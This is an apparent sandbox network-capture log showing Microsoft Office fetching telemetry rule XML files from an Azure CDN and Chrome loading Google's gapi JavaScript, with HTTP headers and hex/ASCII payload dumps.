2024-11-15 08:55:28 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:28 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:28 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:28 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 21399fcf-c01e-008e-25a8-347381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085528Z-164f84587bfsgfx9hC1DFWw1as00000000wg00000000bknv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:28 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:28 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:28 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:28 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085528Z-16547b76f7f775p5hC1DFWzdvn0000000mzg0000000012ax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:28 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:28 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:28 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:28 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 76271b94-301e-003f-3d00-36266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085528Z-1866b5c5fbbtpjhjhC1DFWr6tw00000000x000000000aru5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:28 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:28 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:28 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:28 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 22a3ed20-101e-005a-80a7-36882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085528Z-1866b5c5fbbrf5vdhC1DFW64zw00000001ag000000002n1a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:28 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:28 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:29 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:28 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085528Z-16547b76f7fkj7j4hC1DFW0a9g0000000n00000000000302 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:29 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49818	142.250.185.78	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:28 UTC	729	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 08:55:29 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 14 Nov 2024 21:42:20 GMT Expires: Fri, 14 Nov 2025 21:42:20 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 40389 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-15 08:55:29 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-15 08:55:29 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-15 08:55:29 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-15 08:55:29 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-15 08:55:29 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-15 08:55:29 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-15 08:55:29 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-15 08:55:29 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-15 08:55:29 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 